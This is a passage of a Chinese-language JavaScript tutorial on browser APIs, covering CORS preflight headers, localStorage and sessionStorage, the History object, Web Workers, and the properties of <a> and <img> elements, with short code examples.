Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

上面的 HTTP 回应中,关键的是Access-Control-Allow-Origin字段,表示http://api.bob.com可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。

1
Access-Control-Allow-Origin: *

如果服务器否定了“预检”请求,会返回一个正常的 HTTP 回应,但是没有任何 CORS 相关的头信息字段,或者明确表示请求不符合条件。

1
2
3
4
OPTIONS http://api.bob.com HTTP/1.1
Status: 200
Access-Control-Allow-Origin: https://notyourdomain.com
Access-Control-Allow-Method: POST

上面的服务器回应,Access-Control-Allow-Origin字段明确不包括发出请求的http://api.bob.com

这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。

1
2
XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服务器回应的其他 CORS 相关字段如下。

1
2
3
4
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000

(1)Access-Control-Allow-Methods

该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。

(2)Access-Control-Allow-Headers

如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在“预检”中请求的字段。

(3)Access-Control-Allow-Credentials

该字段与简单请求时的含义相同。

(4)Access-Control-Max-Age

该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。

浏览器的正常请求和回应

一旦服务器通过了“预检”请求,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。

下面是“预检”请求之后,浏览器的正常 CORS 请求。

1
2
3
4
5
6
7
PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面头信息的Origin字段是浏览器自动添加的。

下面是服务器正常的回应。

1
2
Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

上面头信息中,Access-Control-Allow-Origin字段是每次回应都必定包含的。

与 JSONP 的比较

CORS 与 JSONP 的使用目的相同,但是比 JSONP 更强大。JSONP 只支持GET请求,CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据。

参考链接

Storage 接口

概述

Storage 接口用于脚本在浏览器保存数据。两个对象部署了这个接口:window.sessionStoragewindow.localStorage

sessionStorage保存的数据用于浏览器的一次会话(session),当会话结束(通常是窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的其他方面都一致。

保存的数据都以“键值对”的形式存在。也就是说,每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。

这个接口很像 Cookie 的强化版,能够使用大得多的存储空间。目前,每个域名的存储上限视浏览器而定,Chrome 是 2.5MB,Firefox 和 Opera 是 5MB,IE 是 10MB。其中,Firefox 的存储空间由一级域名决定,而其他浏览器没有这个限制。也就是说,Firefox 中,a.example.comb.example.com共享 5MB 的存储空间。另外,与 Cookie 一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取,如果跨域操作会报错。

属性和方法

Storage 接口只有一个属性。

  • Storage.length:返回保存的数据项个数。
1
2
3
4
5
window.localStorage.setItem('foo', 'a');
window.localStorage.setItem('bar', 'b');
window.localStorage.setItem('baz', 'c');

window.localStorage.length // 3

该接口提供5个方法。

Storage.setItem()

Storage.setItem()方法用于存入数据。它接受两个参数,第一个是键名,第二个是保存的数据。如果键名已经存在,该方法会更新已有的键值。该方法没有返回值。

1
2
window.sessionStorage.setItem('key', 'value');
window.localStorage.setItem('key', 'value');

注意,Storage.setItem()两个参数都是字符串。如果不是字符串,会自动转成字符串,再存入浏览器。

1
2
window.sessionStorage.setItem(3, { foo: 1 });
window.sessionStorage.getItem('3') // "[object Object]"

上面代码中,setItem方法的两个参数都不是字符串,但是存入的值都是字符串。

如果储存空间已满,该方法会抛错。

写入不一定要用这个方法,直接赋值也是可以的。

1
2
3
4
// 下面三种写法等价
window.localStorage.foo = '123';
window.localStorage['foo'] = '123';
window.localStorage.setItem('foo', '123');

Storage.getItem()

Storage.getItem()方法用于读取数据。它只有一个参数,就是键名。如果键名不存在,该方法返回null

1
2
window.sessionStorage.getItem('key')
window.localStorage.getItem('key')

键名应该是一个字符串,否则会被自动转为字符串。

Storage.removeItem()

Storage.removeItem()方法用于清除某个键名对应的键值。它接受键名作为参数,如果键名不存在,该方法不会做任何事情。

1
2
sessionStorage.removeItem('key');
localStorage.removeItem('key');

Storage.clear()

Storage.clear()方法用于清除所有保存的数据。该方法的返回值是undefined

1
2
window.sessionStorage.clear()
window.localStorage.clear()

Storage.key()

Storage.key()接受一个整数作为参数(从零开始),返回该位置对应的键值。

1
2
window.sessionStorage.setItem('key', 'value');
window.sessionStorage.key(0) // "key"

结合使用Storage.length属性和Storage.key()方法,可以遍历所有的键。

1
2
3
for (var i = 0; i < window.localStorage.length; i++) {
console.log(localStorage.key(i));
}

storage 事件

Storage 接口储存的数据发生变化时,会触发 storage 事件,可以指定这个事件的监听函数。

1
window.addEventListener('storage', onStorageChange);

监听函数接受一个event实例对象作为参数。这个实例对象继承了 StorageEvent 接口,有几个特有的属性,都是只读属性。

  • StorageEvent.key:字符串,表示发生变动的键名。如果 storage 事件是由clear()方法引起,该属性返回null
  • StorageEvent.newValue:字符串,表示新的键值。如果 storage 事件是由clear()方法或删除该键值对引发的,该属性返回null
  • StorageEvent.oldValue:字符串,表示旧的键值。如果该键值对是新增的,该属性返回null
  • StorageEvent.storageArea:对象,返回键值对所在的整个对象。也说是说,可以从这个属性上面拿到当前域名储存的所有键值对。
  • StorageEvent.url:字符串,表示原始触发 storage 事件的那个网页的网址。

下面是StorageEvent.key属性的例子。

1
2
3
4
5
function onStorageChange(e) {
console.log(e.key);
}

window.addEventListener('storage', onStorageChange);

注意,该事件有一个很特别的地方,就是它不在导致数据变化的当前页面触发,而是在同一个域名的其他窗口触发。也就是说,如果浏览器只打开一个窗口,可能观察不到这个事件。比如同时打开多个窗口,当其中的一个窗口导致储存的数据发生改变时,只有在其他窗口才能观察到监听函数的执行。可以通过这种机制,实现多个窗口之间的通信。

参考链接

History 对象

概述

window.history属性指向 History 对象,它表示当前窗口的浏览历史。

History 对象保存了当前窗口访问过的所有页面网址。下面代码表示当前窗口一共访问过3个网址。

1
window.history.length // 3

由于安全原因,浏览器不允许脚本读取这些地址,但是允许在地址之间导航。

1
2
3
4
5
// 后退到前一个网址
history.back()

// 等同于
history.go(-1)

浏览器工具栏的“前进”和“后退”按钮,其实就是对 History 对象进行操作。

属性

History 对象主要有两个属性。

  • History.length:当前窗口访问过的网址数量(包括当前网页)
  • History.state:History 堆栈最上层的状态值(详见下文)
1
2
3
4
5
6
// 当前窗口访问过多少个网页
window.history.length // 1

// History 对象的当前状态
// 通常是 undefined,即未设置
window.history.state // undefined

方法

History.back()、History.forward()、History.go()

这三个方法用于在历史之中移动。

  • History.back():移动到上一个网址,等同于点击浏览器的后退键。对于第一个访问的网址,该方法无效果。
  • History.forward():移动到下一个网址,等同于点击浏览器的前进键。对于最后一个访问的网址,该方法无效果。
  • History.go():接受一个整数作为参数,以当前网址为基准,移动到参数指定的网址,比如go(1)相当于forward()go(-1)相当于back()。如果参数超过实际存在的网址范围,该方法无效果;如果不指定参数,默认参数为0,相当于刷新当前页面。
1
2
3
history.back();
history.forward();
history.go(-2);

history.go(0)相当于刷新当前页面。

1
history.go(0); // 刷新当前页面

注意,移动到以前访问过的页面时,页面通常是从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。

History.pushState(),

History.pushState()方法用于在历史中添加一条记录。

1
window.history.pushState(state, title, url)

该方法接受三个参数,依次为:

  • state:一个与添加的记录相关联的状态对象,主要用于popstate事件。该事件触发时,该对象会传入回调函数。也就是说,浏览器会将这个对象序列化以后保留在本地,重新载入这个页面的时候,可以拿到这个对象。如果不需要这个对象,此处可以填null
  • title:新页面的标题。但是,现在所有浏览器都忽视这个参数,所以这里可以填空字符串。
  • url:新的网址,必须与当前页面处在同一个域。浏览器的地址栏将显示这个网址。

假定当前网址是example.com/1.html,使用pushState()方法在浏览记录(History 对象)中添加一个新记录。

1
2
var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');

添加新记录后,浏览器地址栏立刻显示example.com/2.html,但并不会跳转到2.html,甚至也不会检查2.html是否存在,它只是成为浏览历史中的最新记录。这时,在地址栏输入一个新的地址(比如访问google.com),然后点击了倒退按钮,页面的 URL 将显示2.html;你再点击一次倒退按钮,URL 将显示1.html

总之,pushState()方法不会触发页面刷新,只是导致 History 对象发生变化,地址栏会有反应。

使用该方法之后,就可以用History.state属性读出状态对象。

1
2
3
var stateObj = { foo: 'bar' };
history.pushState(stateObj, 'page 2', '2.html');
history.state // {foo: "bar"}

如果pushState的 URL 参数设置了一个新的锚点值(即hash),并不会触发hashchange事件。反过来,如果 URL 的锚点值变了,则会在 History 对象创建一条浏览记录。

如果pushState()方法设置了一个跨域网址,则会报错。

1
2
3
// 报错
// 当前网址为 http://example.com
history.pushState(null, '', 'https://twitter.com/hello');

上面代码中,pushState想要插入一个跨域的网址,导致报错。这样设计的目的是,防止恶意代码让用户以为他们是在另一个网站上,因为这个方法不会导致页面跳转。

History.replaceState()

History.replaceState()方法用来修改 History 对象的当前记录,其他都与pushState()方法一模一样。

假定当前网页是example.com/example.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
history.pushState({page: 1}, 'title 1', '?page=1')
// URL 显示为 http://example.com/example.html?page=1

history.pushState({page: 2}, 'title 2', '?page=2');
// URL 显示为 http://example.com/example.html?page=2

history.replaceState({page: 3}, 'title 3', '?page=3');
// URL 显示为 http://example.com/example.html?page=3

history.back()
// URL 显示为 http://example.com/example.html?page=1

history.back()
// URL 显示为 http://example.com/example.html

history.go(2)
// URL 显示为 http://example.com/example.html?page=3

popstate 事件

每当同一个文档的浏览历史(即history对象)出现变化时,就会触发popstate事件。

注意,仅仅调用pushState()方法或replaceState()方法 ,并不会触发该事件,只有用户点击浏览器倒退按钮和前进按钮,或者使用 JavaScript 调用History.back()History.forward()History.go()方法时才会触发。另外,该事件只针对同一个文档,如果浏览历史的切换,导致加载不同的文档,该事件也不会触发。

使用的时候,可以为popstate事件指定回调函数。

1
2
3
4
5
6
7
8
9
10
window.onpopstate = function (event) {
console.log('location: ' + document.location);
console.log('state: ' + JSON.stringify(event.state));
};

// 或者
window.addEventListener('popstate', function(event) {
console.log('location: ' + document.location);
console.log('state: ' + JSON.stringify(event.state));
});

回调函数的参数是一个event事件对象,它的state属性指向pushStatereplaceState方法为当前 URL 所提供的状态对象(即这两个方法的第一个参数)。上面代码中的event.state,就是通过pushStatereplaceState方法,为当前 URL 绑定的state对象。

这个state对象也可以直接通过history对象读取。

1
var currentState = history.state;

注意,页面第一次加载的时候,浏览器不会触发popstate事件。

Web Worker

概述

JavaScript 语言采用的是单线程模型,也就是说,所有任务只能在一个线程上完成,一次只能做一件事。前面的任务没做完,后面的任务只能等着。随着电脑计算能力的增强,尤其是多核 CPU 的出现,单线程带来很大的不便,无法充分发挥计算机的计算能力。

Web Worker 的作用,就是为 JavaScript 创造多线程环境,允许主线程创建 Worker 线程,将一些任务分配给后者运行。在主线程运行的同时,Worker 线程在后台运行,两者互不干扰。等到 Worker 线程完成计算任务,再把结果返回给主线程。这样的好处是,一些计算密集型或高延迟的任务可以交由 Worker 线程执行,主线程(通常负责 UI 交互)能够保持流畅,不会被阻塞或拖慢。

Worker 线程一旦新建成功,就会始终运行,不会被主线程上的活动(比如用户点击按钮、提交表单)打断。这样有利于随时响应主线程的通信。但是,这也造成了 Worker 比较耗费资源,不应该过度使用,而且一旦使用完毕,就应该关闭。

Web Worker 有以下几个使用注意点。

(1)同源限制

分配给 Worker 线程运行的脚本文件,必须与主线程的脚本文件同源。

(2)DOM 限制

Worker 线程所在的全局对象,与主线程不一样,无法读取主线程所在网页的 DOM 对象,也无法使用documentwindowparent这些对象。但是,Worker 线程可以使用navigator对象和location对象。

(3)全局对象限制

Worker 的全局对象WorkerGlobalScope,不同于网页的全局对象Window,很多接口拿不到。比如,理论上 Worker 线程不能使用console.log,因为标准里面没有提到 Worker 的全局对象存在console接口,只定义了Navigator接口和Location接口。不过,浏览器实际上支持 Worker 线程使用console.log,保险的做法还是不使用这个方法。

(4)通信联系

Worker 线程和主线程不在同一个上下文环境,它们不能直接通信,必须通过消息完成。

(5)脚本限制

Worker 线程不能执行alert()方法和confirm()方法,但可以使用 XMLHttpRequest 对象发出 AJAX 请求。

(6)文件限制

Worker 线程无法读取本地文件,即不能打开本机的文件系统(file://),它所加载的脚本,必须来自网络。

基本用法

主线程

主线程采用new命令,调用Worker()构造函数,新建一个 Worker 线程。

1
var worker = new Worker('work.js');

Worker()构造函数的参数是一个脚本文件,该文件就是 Worker 线程所要执行的任务。由于 Worker 不能读取本地文件,所以这个脚本必须来自网络。如果下载没有成功(比如404错误),Worker 就会默默地失败。

然后,主线程调用worker.postMessage()方法,向 Worker 发消息。

1
2
worker.postMessage('Hello World');
worker.postMessage({method: 'echo', args: ['Work']});

worker.postMessage()方法的参数,就是主线程传给 Worker 的数据。它可以是各种数据类型,包括二进制数据。

接着,主线程通过worker.onmessage指定监听函数,接收子线程发回来的消息。

1
2
3
4
5
6
7
8
worker.onmessage = function (event) {
doSomething(event.data);
}

function doSomething() {
// 执行任务
worker.postMessage('Work done!');
}

上面代码中,事件对象的data属性可以获取 Worker 发来的数据。

Worker 完成任务以后,主线程就可以把它关掉。

1
worker.terminate();

Worker 线程

Worker 线程内部需要有一个监听函数,监听message事件。

1
2
3
self.addEventListener('message', function (e) {
self.postMessage('You said: ' + e.data);
}, false);

上面代码中,self代表子线程自身,即子线程的全局对象。因此,等同于下面两种写法。

1
2
3
4
5
6
7
8
9
// 写法一
this.addEventListener('message', function (e) {
this.postMessage('You said: ' + e.data);
}, false);

// 写法二
addEventListener('message', function (e) {
postMessage('You said: ' + e.data);
}, false);

除了使用self.addEventListener()指定监听函数,也可以使用self.onmessage指定。监听函数的参数是一个事件对象,它的data属性包含主线程发来的数据。self.postMessage()方法用来向主线程发送消息。

根据主线程发来的数据,Worker 线程可以调用不同的方法,下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
self.addEventListener('message', function (e) {
var data = e.data;
switch (data.cmd) {
case 'start':
self.postMessage('WORKER STARTED: ' + data.msg);
break;
case 'stop':
self.postMessage('WORKER STOPPED: ' + data.msg);
self.close(); // Terminates the worker.
break;
default:
self.postMessage('Unknown command: ' + data.msg);
};
}, false);

上面代码中,self.close()用于在 Worker 内部关闭自身。

Worker 加载脚本

Worker 内部如果要加载其他脚本,有一个专门的方法importScripts()

1
importScripts('script1.js');

该方法可以同时加载多个脚本。

1
importScripts('script1.js', 'script2.js');

错误处理

主线程可以监听 Worker 是否发生错误。如果发生错误,Worker 会触发主线程的error事件。

1
2
3
4
5
6
7
8
9
10
worker.onerror(function (event) {
console.log([
'ERROR: Line ', event.lineno, ' in ', event.filename, ': ', event.message
].join(''));
});

// 或者
worker.addEventListener('error', function (event) {
// ...
});

Worker 内部也可以监听error事件。

关闭 Worker

使用完毕,为了节省系统资源,必须关闭 Worker。

1
2
3
4
5
// 主线程
worker.terminate();

// Worker 线程
self.close();

数据通信

前面说过,主线程与 Worker 之间的通信内容,可以是文本,也可以是对象。需要注意的是,这种通信是拷贝关系,即是传值而不是传址,Worker 对通信内容的修改,不会影响到主线程。事实上,浏览器内部的运行机制是,先将通信内容串行化,然后把串行化后的字符串发给 Worker,后者再将它还原。

主线程与 Worker 之间也可以交换二进制数据,比如 File、Blob、ArrayBuffer 等类型,也可以在线程之间发送。下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 主线程
var uInt8Array = new Uint8Array(new ArrayBuffer(10));
for (var i = 0; i < uInt8Array.length; ++i) {
uInt8Array[i] = i * 2; // [0, 2, 4, 6, 8,...]
}
worker.postMessage(uInt8Array);

// Worker 线程
self.onmessage = function (e) {
var uInt8Array = e.data;
postMessage('Inside worker.js: uInt8Array.toString() = ' + uInt8Array.toString());
postMessage('Inside worker.js: uInt8Array.byteLength = ' + uInt8Array.byteLength);
};

但是,拷贝方式发送二进制数据,会造成性能问题。比如,主线程向 Worker 发送一个 500MB 文件,默认情况下浏览器会生成一个原文件的拷贝。为了解决这个问题,JavaScript 允许主线程把二进制数据直接转移给子线程,但是一旦转移,主线程就无法再使用这些二进制数据了,这是为了防止出现多个线程同时修改数据的麻烦局面。这种转移数据的方法,叫做Transferable Objects。这使得主线程可以快速把数据交给 Worker,对于影像处理、声音处理、3D 运算等就非常方便了,不会产生性能负担。

如果要直接转移数据的控制权,就要使用下面的写法。

1
2
3
4
5
6
// Transferable Objects 格式
worker.postMessage(arrayBuffer, [arrayBuffer]);

// 例子
var ab = new ArrayBuffer(1);
worker.postMessage(ab, [ab]);

同页面的 Web Worker

通常情况下,Worker 载入的是一个单独的 JavaScript 脚本文件,但是也可以载入与主线程在同一个网页的代码。

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<body>
<script id="worker" type="app/worker">
addEventListener('message', function () {
postMessage('some message');
}, false);
</script>
</body>
</html>

上面是一段嵌入网页的脚本,注意必须指定<script>标签的type属性是一个浏览器不认识的值,上例是app/worker

然后,读取这一段嵌入页面的脚本,用 Worker 来处理。

1
2
3
4
5
6
7
var blob = new Blob([document.querySelector('#worker').textContent]);
var url = window.URL.createObjectURL(blob);
var worker = new Worker(url);

worker.onmessage = function (e) {
// e.data === 'some message'
};

上面代码中,先将嵌入网页的脚本代码,转成一个二进制对象,然后为这个二进制对象生成 URL,再让 Worker 加载这个 URL。这样就做到了,主线程和 Worker 的代码都在同一个网页上面。

实例:Worker 线程完成轮询

有时,浏览器需要轮询服务器状态,以便第一时间得知状态改变。这个工作可以放在 Worker 里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function createWorker(f) {
var blob = new Blob(['(' + f.toString() + ')()']);
var url = window.URL.createObjectURL(blob);
var worker = new Worker(url);
return worker;
}

var pollingWorker = createWorker(function (e) {
var cache;

function compare(new, old) { ... };

setInterval(function () {
fetch('/my-api-endpoint').then(function (res) {
var data = res.json();

if (!compare(data, cache)) {
cache = data;
self.postMessage(data);
}
})
}, 1000)
});

pollingWorker.onmessage = function () {
// render data
}

pollingWorker.postMessage('init');

上面代码中,Worker 每秒钟轮询一次数据,然后跟缓存做比较。如果不一致,就说明服务端有了新的变化,因此就要通知主线程。

实例: Worker 新建 Worker

Worker 线程内部还能再新建 Worker 线程(目前只有 Firefox 浏览器支持)。下面的例子是将一个计算密集的任务,分配到10个 Worker。

主线程代码如下。

1
2
3
4
var worker = new Worker('worker.js');
worker.onmessage = function (event) {
document.getElementById('result').textContent = event.data;
};

Worker 线程代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// worker.js

// settings
var num_workers = 10;
var items_per_worker = 1000000;

// start the workers
var result = 0;
var pending_workers = num_workers;
for (var i = 0; i < num_workers; i += 1) {
var worker = new Worker('core.js');
worker.postMessage(i * items_per_worker);
worker.postMessage((i + 1) * items_per_worker);
worker.onmessage = storeResult;
}

// handle the results
function storeResult(event) {
result += event.data;
pending_workers -= 1;
if (pending_workers <= 0)
postMessage(result); // finished!
}

上面代码中,Worker 线程内部新建了10个 Worker 线程,并且依次向这10个 Worker 发送消息,告知了计算的起点和终点。计算任务脚本的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// core.js
var start;
onmessage = getStart;
function getStart(event) {
start = event.data;
onmessage = getEnd;
}

var end;
function getEnd(event) {
end = event.data;
onmessage = null;
work();
}

function work() {
var result = 0;
for (var i = start; i < end; i += 1) {
// perform some complex calculation here
result += 1;
}
postMessage(result);
close();
}

API

主线程

浏览器原生提供Worker()构造函数,用来供主线程生成 Worker 线程。

1
var myWorker = new Worker(jsUrl, options);

Worker()构造函数,可以接受两个参数。第一个参数是脚本的网址(必须遵守同源政策),该参数是必需的,且只能加载 JS 脚本,否则会报错。第二个参数是配置对象,该对象可选。它的一个作用就是指定 Worker 的名称,用来区分多个 Worker 线程。

1
2
3
4
5
// 主线程
var myWorker = new Worker('worker.js', { name : 'myWorker' });

// Worker 线程
self.name // myWorker

Worker()构造函数返回一个 Worker 线程对象,用来供主线程操作 Worker。Worker 线程对象的属性和方法如下。

  • Worker.onerror:指定 error 事件的监听函数。
  • Worker.onmessage:指定 message 事件的监听函数,发送过来的数据在Event.data属性中。
  • Worker.onmessageerror:指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时,会触发这个事件。
  • Worker.postMessage():向 Worker 线程发送消息。
  • Worker.terminate():立即终止 Worker 线程。

Worker 线程

Web Worker 有自己的全局对象,不是主线程的window,而是一个专门为 Worker 定制的全局对象。因此定义在window上面的对象和方法不是全部都可以使用。

Worker 线程有一些自己的全局属性和方法。

  • self.name: Worker 的名字。该属性只读,由构造函数指定。
  • self.onmessage:指定message事件的监听函数。
  • self.onmessageerror:指定 messageerror 事件的监听函数。发送的数据无法序列化成字符串时,会触发这个事件。
  • self.close():关闭 Worker 线程。
  • self.postMessage():向产生这个 Worker 线程发送消息。
  • self.importScripts():加载 JS 脚本。

(完)

网络元素接口

<a> 元素

<a>元素用来设置链接。除了网页元素的通用接口(Node接口、Element接口、HTMLElement接口),它还继承了HTMLAnchorElement接口和HTMLHyperlinkElementUtils接口。

属性

URL 相关属性

<a>元素有一系列 URL 相关属性,可以用来操作链接地址。这些属性的含义,可以参见Location对象的实例属性。

  • hash:片段识别符(以#开头)
  • host:主机和端口(默认端口80和443会省略)
  • hostname:主机名
  • href:完整的 URL
  • origin:协议、域名和端口
  • password:主机名前的密码
  • pathname:路径(以/开头)
  • port:端口
  • protocol:协议(包含尾部的冒号:
  • search:查询字符串(以?开头)
  • username:主机名前的用户名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// HTML 代码如下
// <a id="test" href="http://user:passwd@example.com:8081/index.html?bar=1#foo">test</a>
var a = document.getElementById('test');
a.hash // "#foo"
a.host // "example.com:8081"
a.hostname // "example.com"
a.href // "http://user:passed@example.com:8081/index.html?bar=1#foo"
a.origin // "http://example.com:8081"
a.password // "passwd"
a.pathname // "/index.html"
a.port // "8081"
a.protocol // "http:"
a.search // "?bar=1"
a.username // "user"

除了origin属性是只读的,上面这些属性都是可读写的。

accessKey 属性

accessKey属性用来读写<a>元素的快捷键。

1
2
3
4
// HTML 代码如下
// <a id="test" href="http://example.com">test</a>
var a = document.getElementById('test');
a.accessKey = 'k';

上面代码设置<a>元素的快捷键为k,以后只要按下这个快捷键,浏览器就会跳转到example.com

注意,不同的浏览器在不同的操作系统下,唤起快捷键的功能键组合是不一样的。比如,Chrome 浏览器在 Linux 系统下,需要按下Alt + k,才会跳转到example.com

download 属性

download属性表示当前链接不是用来浏览,而是用来下载的。它的值是一个字符串,表示用户下载得到的文件名。

1
2
3
4
// HTML 代码如下
// <a id="test" href="foo.jpg">下载</a>
var a = document.getElementById('test');
a.download = 'bar.jpg';

上面代码中,<a>元素是一个图片链接,默认情况下,点击后图片会在当前窗口加载。设置了download属性以后,再点击这个链接,就会下载对话框,询问用户保存位置,而且下载的文件名为bar.jpg

hreflang 属性

hreflang属性用来读写<a>元素的 HTML 属性hreflang,表示链接指向的资源的语言,比如hreflang="en"

1
2
3
4
// HTML 代码如下
// <a id="test" href="https://example.com" hreflang="en">test</a>
var a = document.getElementById('test');
a.hreflang // "en"

referrerPolicy 属性

referrerPolicy属性用来读写<a>元素的 HTML 属性referrerPolicy,指定当用户点击链接时,如何发送 HTTP 头信息的referer字段。

HTTP 头信息的referer字段,表示当前请求是从哪里来的。它的格式可以由<a>元素的referrerPolicy属性指定,共有三个值可以选择。

  • no-referrer:不发送referer字段。
  • originreferer字段的值是<a>元素的origin属性,即协议 + 主机名 + 端口。
  • unsafe-urlreferer字段的值是origin属性再加上路径,但不包含#片段。这种格式提供的信息最详细,可能存在信息泄漏的风险。
1
2
3
4
// HTML 代码如下
// <a id="test" href="https://example.com" referrerpolicy="no-referrer">test</a>
var a = document.getElementById('test');
a.referrerPolicy // "no-referrer"

rel 属性

rel属性用来读写<a>元素的 HTML 属性rel,表示链接与当前文档的关系。

1
2
3
4
// HTML 代码如下
// <a id="test" href="https://example.com" rel="license">license.html</a>
var a = document.getElementById('test');
a.rel // "license"

tabIndex 属性

tabIndex属性的值是一个整数,用来读写当前<a>元素在文档里面的 Tab 键遍历顺序。

1
2
3
4
// HTML 代码如下
// <a id="test" href="https://example.com">test</a>
var a = document.getElementById('test');
a.tabIndex // 0

target 属性

target属性用来读写<a>元素的 HTML 属性target

1
2
3
4
// HTML 代码如下
// <a id="test" href="https://example.com" target="_blank">test</a>
var a = document.getElementById('test');
a.target // "_blank"

text 属性

text属性用来读写<a>元素的链接文本,等同于当前节点的textContent属性。

1
2
3
4
// HTML 代码如下
// <a id="test" href="https://example.com">test</a>
var a = document.getElementById('test');
a.text // "test"

type 属性

type属性用来读写<a>元素的 HTML 属性type,表示链接目标的 MIME 类型。

1
2
3
4
// HTML 代码如下
// <a id="test" type="video/mp4" href="example.mp4">video</a>
var a = document.getElementById('test');
a.type // "video/mp4"

方法

<a>元素的方法都是继承的,主要有以下三个。

  • blur():从当前元素移除键盘焦点,详见HTMLElement接口的介绍。
  • focus():当前元素得到键盘焦点,详见HTMLElement接口的介绍。
  • toString():返回当前<a>元素的 HTML 属性href

<img> 元素

概述

<img>元素用于插入图片,主要继承了 HTMLImageElement 接口。

浏览器提供一个原生构造函数Image,用于生成HTMLImageElement实例。

1
2
3
var img = new Image();
img instanceof Image // true
img instanceof HTMLImageElement // true

Image构造函数可以接受两个整数作为参数,分别表示<img>元素的宽度和高度。

1
2
3
4
5
// 语法
Image(width, height)

// 用法
var myImage = new Image(100, 200);

<img>实例的src属性可以定义图像的网址。

1
2
var img = new Image();
img.src = 'picture.jpg';

新生成的<img>实例并不属于文档的一部分。如果想让它显示在文档中,必须手动插入文档。

1
2
3
var img = new Image();
img.src = 'image1.png';
document.body.appendChild(img);

除了使用Image构造,下面的方法也可以得到HTMLImageElement实例。

  • document.images的成员
  • 节点选取方法(比如document.getElementById)得到的<img>节点
  • document.createElement('img')生成的<img>节点
1
2
3
4
5
6
7
8
9
10
document.images[0] instanceof HTMLImageElement
// true

var img = document.getElementById('myImg');
img instanceof HTMLImageElement
// true

var img = document.createElement('img');
img instanceof HTMLImageElement
// true

HTMLImageElement实例除了具有 Node、Element、HTMLElement 接口以外,还拥有一些独有的属性。这个接口没有定义自己的方法。

特性相关的属性

(1)HTMLImageElement.src

HTMLImageElement.src属性返回图像的完整网址。

1
2
3
4
// HTML 代码如下
// <img width="300" height="400" id="myImg" src="http://example.com/pic.jpg">
var img = document.getElementById('img');
img.src // http://example.com/pic.jpg

(2)HTMLImageElement.currentSrc

HTMLImageElement.currentSrc属性返回当前正在展示的图像的网址。JavaScript 和 CSS 的 mediaQuery 都可能改变正在展示的图像。

(3)HTMLImageElement.alt

HTMLImageElement.alt属性可以读写<img>的 HTML 属性alt,表示对图片的文字说明。

(4)HTMLImageElement.isMap,HTMLImageElement.useMap

HTMLImageElement.isMap属性对应<img>元素的 HTML 属性ismap,返回一个布尔值,表示图像是否为服务器端的图像映射的一部分。

HTMLImageElement.useMap属性对应<img>元素的 HTML 属性usemap,表示当前图像对应的<map>元素。

(5)HTMLImageElement.srcset,HTMLImageElement.sizes

HTMLImageElement.srcset属性和HTMLImageElement.sizes属性,分别用于读写<img>元素的srcset属性和sizes属性。它们用于<img>元素的响应式加载。srcset属性可以单独使用,但是sizes属性必须与srcset属性同时使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// HTML 代码如下
// <img srcset="example-320w.jpg 320w,
// example-480w.jpg 480w,
// example-800w.jpg 800w"
// sizes="(max-width: 320px) 280px,
// (max-width: 480px) 440px,
// 800px"
// id="myImg"
// src="example-800w.jpg">
var img = document.getElementById('myImg');
img.srcset
// "example-320w.jpg 320w,
// example-480w.jpg 480w,
// example-800w.jpg 800w"

img.sizes
// "(max-width: 320px) 280px,
// (max-width: 480px) 440px,
// 800px"

上面代码中,sizes属性指定,对于小于320px的屏幕,图像的宽度为280px;对于小于480px的屏幕,图像宽度为440px;其他情况下,图像宽度为800px。然后,浏览器会根据当前屏幕下的图像宽度,到srcset属性加载宽度最接近的图像。

HTMLImageElement.width,HTMLImageElement.height

width属性表示<img>的 HTML 宽度,height属性表示高度。这两个属性返回的都是整数。

1
2
3
4
5
// HTML 代码如下
// <img width="300" height="400" id="myImg" src="pic.jpg">
var img = document.getElementById('img');
img.width // 300
img.height // 400

如果图像还没有加载,这两个属性返回的都是0

如果 HTML 代码没有设置widthheight属性,则它们返回的是图像的实际宽度和高度,即HTMLImageElement.naturalWidth属性和HTMLImageElement.naturalHeight属性。
